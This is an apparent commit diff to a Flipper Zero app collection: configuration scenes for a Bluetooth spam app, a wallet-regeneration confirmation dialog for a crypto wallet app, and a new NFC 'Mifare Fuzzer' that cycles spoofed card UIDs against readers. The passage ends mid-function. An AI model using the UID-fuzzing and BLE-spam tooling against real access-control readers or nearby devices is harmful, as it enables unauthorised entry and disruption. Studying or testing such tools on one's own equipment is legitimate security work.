ble_spam/scenes/config.c

@@ -0,0 +1,75 @@
+#include "../ble_spam.h"
+
+#include "protocols/_protocols.h"
+
+static void _config_bool(VariableItem* item) {
+    bool* value = variable_item_get_context(item);
+    *value = variable_item_get_current_value_index(item);
+    variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
+}
+static void config_bool(VariableItemList* list, const char* name, bool* value) {
+    VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value);
+    variable_item_set_current_value_index(item, *value);
+    variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
+}
+
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    if(!ctx->attack->protocol) {
+        index--;
+    } else if(ctx->attack->protocol->config_count) {
+        uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg);
+        if(index > extra) index -= extra;
+    }
+
+    switch(index) {
+    case ConfigRandomMac:
+        break;
+    case ConfigLedIndicator:
+        break;
+    case ConfigLockKeyboard:
+        ctx->lock_keyboard = true;
+        scene_manager_previous_scene(ctx->scene_manager);
+        notification_message_block(ctx->notification, &sequence_display_backlight_off);
+        break;
+    default:
+        break;
+    }
+}
+void scene_config_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    VariableItemList* list = ctx->variable_item_list;
+    variable_item_list_reset(list);
+
+    variable_item_list_set_header(list, ctx->attack->title);
+
+    config_bool(list, "Random MAC", &ctx->attack->payload.random_mac);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+    if(!ctx->attack->protocol) {
+        variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL);
+    } else if(ctx->attack->protocol->extra_config) {
+        ctx->fallback_config_enter = config_callback;
+        ctx->attack->protocol->extra_config(ctx);
+    }
+
+    config_bool(list, "LED Indicator", &ctx->led_indicator);
+
+    variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL);
+
+    variable_item_list_set_selected_item(
+        list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig));
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList);
+}
+
+bool scene_config_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+
+void scene_config_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 16 - 0
ble_spam/scenes/main.c

@@ -0,0 +1,16 @@
+#include "../ble_spam.h"
+
+void scene_main_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain);
+}
+
+bool scene_main_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+
+void scene_main_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 1 - 1
flipbip/application.fam

@@ -17,6 +17,6 @@ App(
     fap_category="Tools",
     fap_author="Struan Clark (xtruan)",
     fap_weburl="https://github.com/xtruan/FlipBIP",
-    fap_version=(1, 13),
+    fap_version=(1, 14),
     fap_description="Crypto wallet for Flipper",
 )

+ 2 - 2
flipbip/catalog/manifest.yml

@@ -2,9 +2,9 @@ sourcecode:
   type: git
   location:
     origin: https://github.com/xtruan/FlipBIP.git
-    commit_sha: 5026eb08e0e0d14d34bec1f5497411288bbf133f
+    commit_sha: 3cb8313f13b95e12ae1a4e5ea9d679a058b33aac
 description: "Cryptocurrency wallet with support for BTC, ETH, DOGE, and ZEC (t-addr)"
-changelog: "v1.13.0 - Simplifying UI, reducing size"
+changelog: "v1.14.0 - Confirmation before wallet regeneration"
 author: "@xtruan"
 screenshots:
   - "./catalog/startscreen.png"

+ 30 - 0
flipbip/flipbip.c

@@ -90,6 +90,23 @@ static void text_input_callback(void* context) {
     }
 }
 
+static void flipbip_scene_renew_dialog_callback(DialogExResult result, void* context) {
+    FlipBip* app = context;
+    if(result == DialogExResultRight) {
+        app->wallet_create(app);
+    } else {
+        view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewIdMenu);
+    }
+}
+
+static void flipbip_wallet_create(void* context) {
+    FlipBip* app = context;
+    furi_assert(app);
+    scene_manager_set_scene_state(
+        app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
+    scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
+}
+
 FlipBip* flipbip_app_alloc() {
     FlipBip* app = malloc(sizeof(FlipBip));
     app->gui = furi_record_open(RECORD_GUI);
@@ -148,6 +165,16 @@ FlipBip* flipbip_app_alloc() {
     view_dispatcher_add_view(
         app->view_dispatcher, FlipBipViewIdTextInput, text_input_get_view(app->text_input));
 
+    app->wallet_create = flipbip_wallet_create;
+    app->renew_dialog = dialog_ex_alloc();
+    dialog_ex_set_result_callback(app->renew_dialog, flipbip_scene_renew_dialog_callback);
+    dialog_ex_set_context(app->renew_dialog, app);
+    dialog_ex_set_left_button_text(app->renew_dialog, "No");
+    dialog_ex_set_right_button_text(app->renew_dialog, "Yes");
+    dialog_ex_set_header(app->renew_dialog, "Current wallet\nWill be lost.\nProceed?", 16, 12, AlignLeft, AlignTop);
+    view_dispatcher_add_view(
+        app->view_dispatcher, FlipBipViewRenewConfirm, dialog_ex_get_view(app->renew_dialog));
+
     // End Scene Additions
 
     return app;
@@ -168,6 +195,9 @@ void flipbip_app_free(FlipBip* app) {
     view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewIdTextInput);
     submenu_free(app->submenu);
 
+    view_dispatcher_remove_view(app->view_dispatcher, FlipBipViewRenewConfirm);
+    dialog_ex_free(app->renew_dialog);
+
     view_dispatcher_free(app->view_dispatcher);
     furi_record_close(RECORD_GUI);
 

+ 20 - 1
flipbip/flipbip.h

@@ -9,12 +9,13 @@
 #include <gui/view_dispatcher.h>
 #include <gui/modules/submenu.h>
 #include <gui/scene_manager.h>
+#include <gui/modules/dialog_ex.h>
 #include <gui/modules/variable_item_list.h>
 #include <gui/modules/text_input.h>
 #include "scenes/flipbip_scene.h"
 #include "views/flipbip_scene_1.h"
 
-#define FLIPBIP_VERSION "v1.13"
+#define FLIPBIP_VERSION "v1.14"
 
 #define COIN_BTC 0
 #define COIN_DOGE 3
@@ -23,6 +24,8 @@
 
 #define TEXT_BUFFER_SIZE 256
 
+
+
 typedef struct {
     Gui* gui;
     // NotificationApp* notification;
@@ -31,6 +34,7 @@ typedef struct {
     SceneManager* scene_manager;
     VariableItemList* variable_item_list;
     TextInput* text_input;
+    DialogEx* renew_dialog;
     FlipBipScene1* flipbip_scene_1;
     char* mnemonic_menu_text;
     // Settings options
@@ -45,6 +49,8 @@ typedef struct {
     char passphrase_text[TEXT_BUFFER_SIZE];
     char import_mnemonic_text[TEXT_BUFFER_SIZE];
     char input_text[TEXT_BUFFER_SIZE];
+
+    void (* wallet_create)(void* context);
 } FlipBip;
 
 typedef enum {
@@ -53,6 +59,7 @@ typedef enum {
     FlipBipViewIdScene1,
     FlipBipViewIdSettings,
     FlipBipViewIdTextInput,
+    FlipBipViewRenewConfirm,
 } FlipBipViewId;
 
 typedef enum {
@@ -86,3 +93,15 @@ typedef enum {
     FlipBipStatusSaveError = 12,
     FlipBipStatusMnemonicCheckError = 13,
 } FlipBipStatus;
+
+typedef enum {
+    SubmenuIndexScene1BTC = 10,
+    SubmenuIndexScene1ETH,
+    SubmenuIndexScene1DOGE,
+    SubmenuIndexScene1ZEC,
+    SubmenuIndexScene1New,
+    SubmenuIndexScene1Renew,
+    SubmenuIndexScene1Import,
+    SubmenuIndexSettings,
+    SubmenuIndexNOP,
+} SubmenuIndex;

+ 8 - 15
flipbip/scenes/flipbip_scene_menu.c

@@ -3,18 +3,8 @@
 
 #define FLIPBIP_SUBMENU_TEXT "** FlipBIP wallet " FLIPBIP_VERSION " **"
 
-enum SubmenuIndex {
-    SubmenuIndexScene1BTC = 10,
-    SubmenuIndexScene1ETH,
-    SubmenuIndexScene1DOGE,
-    SubmenuIndexScene1ZEC,
-    SubmenuIndexScene1New,
-    SubmenuIndexScene1Import,
-    SubmenuIndexSettings,
-    SubmenuIndexNOP,
-};
-
 void flipbip_scene_menu_submenu_callback(void* context, uint32_t index) {
+    furi_assert(context);
     FlipBip* app = context;
     view_dispatcher_send_custom_event(app->view_dispatcher, index);
 }
@@ -59,7 +49,7 @@ void flipbip_scene_menu_on_enter(void* context) {
         submenu_add_item(
             app->submenu,
             "Regenerate wallet",
-            SubmenuIndexScene1New,
+            SubmenuIndexScene1Renew,
             flipbip_scene_menu_submenu_callback,
             app);
     } else {
@@ -130,9 +120,12 @@ bool flipbip_scene_menu_on_event(void* context, SceneManagerEvent event) {
         } else if(event.event == SubmenuIndexScene1New) {
             app->overwrite_saved_seed = 1;
             app->import_from_mnemonic = 0;
-            scene_manager_set_scene_state(
-                app->scene_manager, FlipBipSceneMenu, SubmenuIndexScene1New);
-            scene_manager_next_scene(app->scene_manager, FlipBipSceneScene_1);
+            app->wallet_create(app);
+            return true;
+        } else if(event.event == SubmenuIndexScene1Renew) {
+            app->overwrite_saved_seed = 1;
+            app->import_from_mnemonic = 0;
+            view_dispatcher_switch_to_view(app->view_dispatcher, FlipBipViewRenewConfirm);
             return true;
         } else if(event.event == SubmenuIndexScene1Import) {
             app->import_from_mnemonic = 1;

+ 1 - 0
mifare_fuzzer/.gitsubtree

@@ -0,0 +1 @@
+https://github.com/spheeere98/mifare_fuzzer master

+ 25 - 0
mifare_fuzzer/README.md

@@ -0,0 +1,25 @@
+# Flipperzero Mifare Fuzzer
+
+### What
+This app allows you to fake Mifare UIDs.  
+It emulates only the UID of the card, it does not emulate the full card, but it seems to be enough...
+
+Currently it does support this kinds of card:
+- Classic 1k
+- Classic 4k
+- Ultralight
+
+### Install
+To compile you must be familiar with the Flipperzero firmware.
+1. Checkout the Flipperzero firmware
+2. go to `applications/plugins/`
+3. `git clone` this repo inside directory
+4. return to main firmware directory with `cd ../..`
+5. run `fbt fap_mifare_fuzzer` to compile
+
+### License
+
+https://en.wikipedia.org/wiki/WTFPL
+
+    DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+    Version 2, December 2004

+ 11 - 0
mifare_fuzzer/TODO.md

@@ -0,0 +1,11 @@
+
+# Flipperzero Mifare Fuzzer - TODO
+
+- Create a list of manufacturer codes for 7byte UIDs. _(Now it's fixed to: 0x04 = NXP Semiconductors Germany)_
+    - https://github.com/Proxmark/proxmark3/blob/master/client/taginfo.c
+    - https://stackoverflow.com/questions/37837730/mifare-cards-distinguish-between-4-byte-and-7-byte-uids
+    - https://stackoverflow.com/questions/31233652/how-to-detect-manufacturer-from-nfc-tag-using-android
+
+- Add saving option
+
+- Emulate a full card and not only the UID

+ 15 - 0
mifare_fuzzer/application.fam

@@ -0,0 +1,15 @@
+App(
+    appid="mifare_fuzzer",
+    name="Mifare Fuzzer",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="mifare_fuzzer_app",
+    requires=[
+        "storage",
+        "gui",
+    ],
+    stack_size=4 * 1024,
+    order=30,
+    fap_icon="./images/mifare_fuzzer_10px.png",
+    fap_category="NFC",
+    fap_icon_assets="images",
+)

+ 9 - 0
mifare_fuzzer/example_uids04.txt

@@ -0,0 +1,9 @@
+# One UID per line
+# Keep an empty line at the end
+01020304
+02030405
+03040506
+04050607
+05060708
+06070809
+

+ 10 - 0
mifare_fuzzer/example_uids07.txt

@@ -0,0 +1,10 @@
+# One UID per line
+# Keep an empty line at the end
+01020304050607
+02030405060701
+03040506070102
+04050607010203
+05060701020304
+06070102030405
+07010203040506
+

BIN
mifare_fuzzer/images/mifare_fuzzer_10px.png


+ 166 - 0
mifare_fuzzer/mifare_fuzzer.c

@@ -0,0 +1,166 @@
+#include "mifare_fuzzer_i.h"
+
+/// @brief mifare_fuzzer_custom_event_callback()
+/// @param context 
+/// @param event 
+/// @return 
+static bool mifare_fuzzer_custom_event_callback(void* context, uint32_t event) {
+    furi_assert(context);
+    MifareFuzzerApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+/// @brief mifare_fuzzer_back_event_callback()
+/// @param context 
+/// @return 
+static bool mifare_fuzzer_back_event_callback(void* context) {
+    furi_assert(context);
+    MifareFuzzerApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+/// @brief mifare_fuzzer_tick_event_callback()
+/// @param context 
+static void mifare_fuzzer_tick_event_callback(void* context){
+    furi_assert(context);
+    MifareFuzzerApp* app = context;
+    scene_manager_handle_tick_event(app->scene_manager);
+}
+
+/// @brief mifare_fuzzer_alloc()
+/// @return 
+MifareFuzzerApp* mifare_fuzzer_alloc() {
+    MifareFuzzerApp* app = malloc(sizeof(MifareFuzzerApp));
+
+    app->view_dispatcher = view_dispatcher_alloc();
+    app->scene_manager = scene_manager_alloc(&mifare_fuzzer_scene_handlers, app);
+    view_dispatcher_enable_queue(app->view_dispatcher);
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_custom_event_callback(app->view_dispatcher, mifare_fuzzer_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(app->view_dispatcher, mifare_fuzzer_back_event_callback);
+
+    // 1000 ticks are about 1 sec
+    view_dispatcher_set_tick_event_callback(app->view_dispatcher, mifare_fuzzer_tick_event_callback, MIFARE_FUZZER_TICK_PERIOD);
+
+    // Open GUI record
+    app->gui = furi_record_open(RECORD_GUI);
+    view_dispatcher_attach_to_gui(
+        app->view_dispatcher,
+        app->gui,
+        ViewDispatcherTypeFullscreen
+    );
+
+    // view: select card type
+    app->submenu_card = submenu_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        MifareFuzzerViewSelectCard,
+        submenu_get_view(app->submenu_card)
+    );
+
+    // view: select attack type
+    app->submenu_attack = submenu_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        MifareFuzzerViewSelectAttack,
+        submenu_get_view(app->submenu_attack)
+    );
+
+    // view: emulator
+    app->emulator_view = mifare_fuzzer_emulator_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        MifareFuzzerViewEmulator,
+        mifare_fuzzer_emulator_get_view(app->emulator_view)
+    );
+
+    // worker
+    app->worker = mifare_fuzzer_worker_alloc();
+
+    // storage
+    app->storage = furi_record_open(RECORD_STORAGE);
+    if(!storage_simply_mkdir(app->storage, MIFARE_FUZZER_APP_FOLDER)) {
+        FURI_LOG_E(TAG, "Could not create folder: %s", MIFARE_FUZZER_APP_FOLDER);
+    }
+
+    // dialog
+    app->dialogs = furi_record_open(RECORD_DIALOGS);
+
+    // furi strings
+    app->uid_str = furi_string_alloc();
+    app->file_path = furi_string_alloc();
+    app->app_folder = furi_string_alloc_set(MIFARE_FUZZER_APP_FOLDER);
+
+    return app;
+}
+
+/// @brief mifare_fuzzer_free()
+/// @param app 
+void mifare_fuzzer_free(MifareFuzzerApp* app) {
+    furi_assert(app);
+
+    // Views
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Views");
+    view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewSelectCard);
+    view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewSelectAttack);
+    view_dispatcher_remove_view(app->view_dispatcher, MifareFuzzerViewEmulator);
+
+    // Submenus
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Submenus");
+    submenu_free(app->submenu_card);
+    submenu_free(app->submenu_attack);
+
+    // View Dispatcher
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: View Dispatcher");
+    view_dispatcher_free(app->view_dispatcher);
+
+    // Scene Manager
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Scene Manager");
+    scene_manager_free(app->scene_manager);
+
+    // GUI
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: GUI");
+    furi_record_close(RECORD_GUI);
+    app->gui = NULL;
+
+    // Worker
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: Worker");
+    mifare_fuzzer_worker_free(app->worker);
+
+    // storage
+    furi_record_close(RECORD_STORAGE);
+    app->storage = NULL;
+
+    // dialog
+    furi_record_close(RECORD_DIALOGS);
+    app->dialogs = NULL;
+
+    // furi strings
+    furi_string_free(app->uid_str);
+    furi_string_free(app->file_path);
+    furi_string_free(app->app_folder);
+
+    // App
+    //FURI_LOG_D(TAG, "mifare_fuzzer_free() :: App");
+    free(app);
+}
+
+/// @brief mifare_fuzzer_app (ENTRYPOINT)
+/// @param p 
+/// @return 
+int32_t mifare_fuzzer_app(void* p) {
+    UNUSED(p);
+    //FURI_LOG_D(TAG, "mifare_fuzzer_app()");
+
+    MifareFuzzerApp* app = mifare_fuzzer_alloc();
+    // init some defaults
+    scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneStart, 0);
+    scene_manager_set_scene_state(app->scene_manager, MifareFuzzerSceneAttack, 0);
+    // open scene
+    scene_manager_next_scene(app->scene_manager, MifareFuzzerSceneStart);
+    view_dispatcher_run(app->view_dispatcher);
+    // free
+    mifare_fuzzer_free(app);
+
+    return 0;
+}

+ 3 - 0
mifare_fuzzer/mifare_fuzzer.h

@@ -0,0 +1,3 @@
+#pragma once
+
+typedef struct MifareFuzzerApp MifareFuzzerApp;

+ 14 - 0
mifare_fuzzer/mifare_fuzzer_custom_events.h

@@ -0,0 +1,14 @@
+#pragma once
+
+typedef enum MifareFuzzerEvent {
+    MifareFuzzerEventClassic1k = 1,
+    MifareFuzzerEventClassic4k,
+    MifareFuzzerEventUltralight,
+    MifareFuzzerEventTestValueAttack,
+    MifareFuzzerEventRandomValuesAttack,
+    MifareFuzzerEventLoadUIDsFromFileAttack,
+    MifareFuzzerEventStartAttack,
+    MifareFuzzerEventStopAttack,
+    MifareFuzzerEventIncrementTicks,
+    MifareFuzzerEventDecrementTicks,
+} MifareFuzzerEvent;

+ 78 - 0
mifare_fuzzer/mifare_fuzzer_i.h

@@ -0,0 +1,78 @@
+#pragma once
+
+#include <furi.h>
+#include <furi_hal.h>
+
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+
+#include <gui/modules/submenu.h>
+
+#include <dialogs/dialogs.h>
+
+#include <input/input.h>
+
+#include <toolbox/stream/stream.h>
+//#include <toolbox/stream/string_stream.h>
+//#include <toolbox/stream/file_stream.h>
+#include <toolbox/stream/buffered_file_stream.h>
+
+#include "mifare_fuzzer.h"
+
+#include "scenes/mifare_fuzzer_scene.h"
+#include "views/mifare_fuzzer_emulator.h"
+
+#include "mifare_fuzzer_worker.h"
+
+#define TAG "MifareFuzzerApp"
+
+#define MIFARE_FUZZER_APP_FOLDER EXT_PATH("mifare_fuzzer")
+#define MIFARE_FUZZER_FILE_EXT ".txt"
+
+#define MIFARE_FUZZER_TICK_PERIOD 200
+#define MIFARE_FUZZER_DEFAULT_TICKS_BETWEEN_CARDS 10
+#define MIFARE_FUZZER_MIN_TICKS_BETWEEN_CARDS 5
+#define MIFARE_FUZZER_MAX_TICKS_BETWEEN_CARDS 50
+
+typedef enum MifareFuzzerSceneState {
+    MifareFuzzerSceneStateClassic1k,
+    MifareFuzzerSceneStateClassic4k,
+    MifareFuzzerSceneStateUltralight,
+} MifareFuzzerSceneState;
+
+typedef enum {
+    MifareFuzzerViewSelectCard,
+    MifareFuzzerViewSelectAttack,
+    MifareFuzzerViewEmulator,
+} MifareFuzzerView;
+
+struct MifareFuzzerApp {
+
+    Gui* gui;
+
+    ViewDispatcher* view_dispatcher;
+
+    SceneManager* scene_manager;
+
+    DialogsApp* dialogs;
+
+    Storage* storage;
+
+    // Common Views
+    Submenu* submenu_card;
+    Submenu* submenu_attack;
+
+    MifareFuzzerEmulator* emulator_view;
+
+    MifareFuzzerWorker* worker;
+
+    MifareCard card;
+    MifareFuzzerAttack attack;
+    FuriHalNfcDevData nfc_dev_data;
+    FuriString* app_folder;
+    FuriString* file_path;
+    FuriString* uid_str;
+    Stream* uids_stream;
+
+};

+ 91 - 0
mifare_fuzzer/mifare_fuzzer_worker.c

@@ -0,0 +1,91 @@
+
+#include "mifare_fuzzer_worker.h"
+
+/// @brief mifare_fuzzer_worker_alloc()
+/// @return 
+MifareFuzzerWorker* mifare_fuzzer_worker_alloc() {
+    MifareFuzzerWorker* mifare_fuzzer_worker = malloc(sizeof(MifareFuzzerWorker));
+    // Worker thread attributes
+    mifare_fuzzer_worker->thread = furi_thread_alloc_ex("MifareFuzzerWorker", 8192, mifare_fuzzer_worker_task, mifare_fuzzer_worker);
+    mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
+    return mifare_fuzzer_worker;
+}
+
+/// @brief mifare_fuzzer_worker_free()
+/// @param mifare_fuzzer_worker 
+void mifare_fuzzer_worker_free(MifareFuzzerWorker* mifare_fuzzer_worker) {
+    furi_assert(mifare_fuzzer_worker);
+    furi_thread_free(mifare_fuzzer_worker->thread);
+    free(mifare_fuzzer_worker);
+}
+
+/// @brief mifare_fuzzer_worker_stop()
+/// @param mifare_fuzzer_worker 
+void mifare_fuzzer_worker_stop(MifareFuzzerWorker* mifare_fuzzer_worker) {
+    furi_assert(mifare_fuzzer_worker);
+    if (mifare_fuzzer_worker->state != MifareFuzzerWorkerStateStop) {
+        mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
+        furi_thread_join(mifare_fuzzer_worker->thread);
+    }
+}
+
+/// @brief mifare_fuzzer_worker_start()
+/// @param mifare_fuzzer_worker 
+void mifare_fuzzer_worker_start(MifareFuzzerWorker* mifare_fuzzer_worker) {
+    furi_assert(mifare_fuzzer_worker);
+    mifare_fuzzer_worker->state = MifareFuzzerWorkerStateEmulate;
+    furi_thread_start(mifare_fuzzer_worker->thread);
+}
+
+/// @brief mifare_fuzzer_worker_task()
+/// @param context 
+/// @return 
+int32_t mifare_fuzzer_worker_task(void* context) {
+    MifareFuzzerWorker* mifare_fuzzer_worker = context;
+
+    if(mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
+
+        FuriHalNfcDevData params = mifare_fuzzer_worker->nfc_dev_data;
+
+        furi_hal_nfc_exit_sleep();
+        while(mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
+            furi_hal_nfc_listen(
+                params.uid,
+                params.uid_len,
+                params.atqa,
+                params.sak, false, 500
+            );
+            furi_delay_ms(50);
+        }
+        furi_hal_nfc_sleep();
+
+    }
+
+    mifare_fuzzer_worker->state = MifareFuzzerWorkerStateStop;
+
+    return 0;
+}
+
+/// @brief mifare_fuzzer_worker_is_emulating()
+/// @param mifare_fuzzer_worker 
+/// @return 
+bool mifare_fuzzer_worker_is_emulating(MifareFuzzerWorker* mifare_fuzzer_worker) {
+    if (mifare_fuzzer_worker->state == MifareFuzzerWorkerStateEmulate) {
+        return true;
+    }
+    return false;
+}
+
+/// @brief mifare_fuzzer_worker_set_nfc_dev_data()
+/// @param mifare_fuzzer_worker 
+/// @param nfc_dev_data 
+void mifare_fuzzer_worker_set_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker, FuriHalNfcDevData nfc_dev_data) {
+    mifare_fuzzer_worker->nfc_dev_data = nfc_dev_data;
+}
+
+/// @brief mifare_fuzzer_worker_get_nfc_dev_data()
+/// @param mifare_fuzzer_worker 
+/// @return 
+FuriHalNfcDevData mifare_fuzzer_worker_get_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker) {
+    return mifare_fuzzer_worker->nfc_dev_data;
+}

+ 29 - 0
mifare_fuzzer/mifare_fuzzer_worker.h

@@ -0,0 +1,29 @@
+#pragma once
+#include <furi.h>
+#include <furi_hal.h>
+
+typedef enum MifareFuzzerWorkerState {
+    MifareFuzzerWorkerStateEmulate,
+    MifareFuzzerWorkerStateStop,
+} MifareFuzzerWorkerState;
+
+#define UID_LEN 7
+#define ATQA_LEN 2
+
+typedef struct MifareFuzzerWorker {
+    FuriThread* thread;
+    MifareFuzzerWorkerState state;
+    FuriHalNfcDevData nfc_dev_data;
+} MifareFuzzerWorker;
+
+// worker
+MifareFuzzerWorker* mifare_fuzzer_worker_alloc();
+void mifare_fuzzer_worker_free(MifareFuzzerWorker* mifare_fuzzer_worker);
+void mifare_fuzzer_worker_stop(MifareFuzzerWorker* mifare_fuzzer_worker);
+void mifare_fuzzer_worker_start(MifareFuzzerWorker* mifare_fuzzer_worker);
+// task
+int32_t mifare_fuzzer_worker_task(void* context);
+// 
+bool mifare_fuzzer_worker_is_emulating(MifareFuzzerWorker* mifare_fuzzer_worker);
+void mifare_fuzzer_worker_set_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker, FuriHalNfcDevData nfc_dev_data);
+FuriHalNfcDevData mifare_fuzzer_worker_get_nfc_dev_data(MifareFuzzerWorker* mifare_fuzzer_worker);

+ 30 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene.c

@@ -0,0 +1,30 @@
+#include "mifare_fuzzer_scene.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
+void (*const mifare_fuzzer_on_enter_handlers[])(void*) = {
+#include "mifare_fuzzer_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
+bool (*const mifare_fuzzer_on_event_handlers[])(void* context, SceneManagerEvent event) = {
+#include "mifare_fuzzer_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
+void (*const mifare_fuzzer_on_exit_handlers[])(void* context) = {
+#include "mifare_fuzzer_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers mifare_fuzzer_scene_handlers = {
+    .on_enter_handlers = mifare_fuzzer_on_enter_handlers,
+    .on_event_handlers = mifare_fuzzer_on_event_handlers,
+    .on_exit_handlers = mifare_fuzzer_on_exit_handlers,
+    .scene_num = MifareFuzzerSceneNum,
+};

+ 29 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(prefix, name, id) MifareFuzzerScene##id,
+typedef enum {
+#include "mifare_fuzzer_scene_config.h"
+    MifareFuzzerSceneNum,
+} MifareFuzzerScene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers mifare_fuzzer_scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
+#include "mifare_fuzzer_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(prefix, name, id) \
+    bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
+#include "mifare_fuzzer_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
+#include "mifare_fuzzer_scene_config.h"
+#undef ADD_SCENE

+ 149 - 0
mifare_fuzzer/scenes/mifare_fuzzer_scene_attack.c

@@ -0,0 +1,149 @@
+#include "../mifare_fuzzer_i.h"
+#include "../mifare_fuzzer_custom_events.h"
+
+enum SubmenuIndex {
+    SubmenuIndexTestValue,
+    SubmenuIndexRandomValuesAttack,
+    SubmenuIndexLoadUIDsFromFile,
+};
+
+/// @brief mifare_fuzzer_scene_attack_submenu_callback()
+/// @param context 
+/// @param index 
+void mifare_fuzzer_scene_attack_submenu_callback(void* context, uint32_t index) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_submenu_callback() :: index = %ld", index);
+    MifareFuzzerApp* app = context;
+    uint8_t custom_event = 255;
+    switch(index){
+    case SubmenuIndexTestValue:
+        custom_event = MifareFuzzerEventTestValueAttack;
+        break;
+    case SubmenuIndexRandomValuesAttack:
+        custom_event = MifareFuzzerEventRandomValuesAttack;
+        break;
+    case SubmenuIndexLoadUIDsFromFile:
+        custom_event = MifareFuzzerEventLoadUIDsFromFileAttack;
+        break;
+    default:
+        return;
+    }
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_submenu_callback() :: custom_event = %d", custom_event);
+    view_dispatcher_send_custom_event(app->view_dispatcher, custom_event);
+}
+
+/// @brief mifare_fuzzer_scene_attack_on_enter()
+/// @param context 
+void mifare_fuzzer_scene_attack_on_enter(void* context) {
+    //FURI_LOG_D(TAG, "mifare_fuzzer_scene_attack_on_enter()");
+    MifareFuzzerApp* app = context;
+
+    Submenu* submenu_attack = app->submenu_attack;
+    submenu_set_header(submenu_attack, "Mifare Fuzzer (attack)");
+    submenu_add_item(
+        submenu_attack,
+        "Test Values",
+        SubmenuIndexTestValue,
+        mifare_fuzzer_scene_attack_submenu_callback,
+        app
+    );
+    submenu_add_item(
+        submenu_attack,
+        "Random Values",
+        SubmenuIndexRandomValuesAttack,
+        mifare_fuzzer_scene_attack_submenu_callback,
+        app
+    );
+    submenu_add_item(
+        submenu_attack,
+        "Load UIDs from file",
+        SubmenuIndexLoadUIDsFromFile,
+        mifare_fuzzer_scene_attack_submenu_callback,
+        app
+    );
+
+    // set selected menu
+    submenu_set_selected_item(submenu_attack,
+        scene_manager_get_scene_state(
+            app->scene_manager,
+            MifareFuzzerSceneAttack
+        )
+    );
+
+    view_dispatcher_switch_to_view(
+        app->view_dispatcher,
+        MifareFuzzerViewSelectAttack
+    );
+}
+
+/// @brief mifare_fuzzer_scene_attack_on_event()
+/// @param context 
+/// @param event 
+/// @return 
+bool mifare_fuzzer_scene_attack_on_event(void* context, SceneManagerEvent event) {
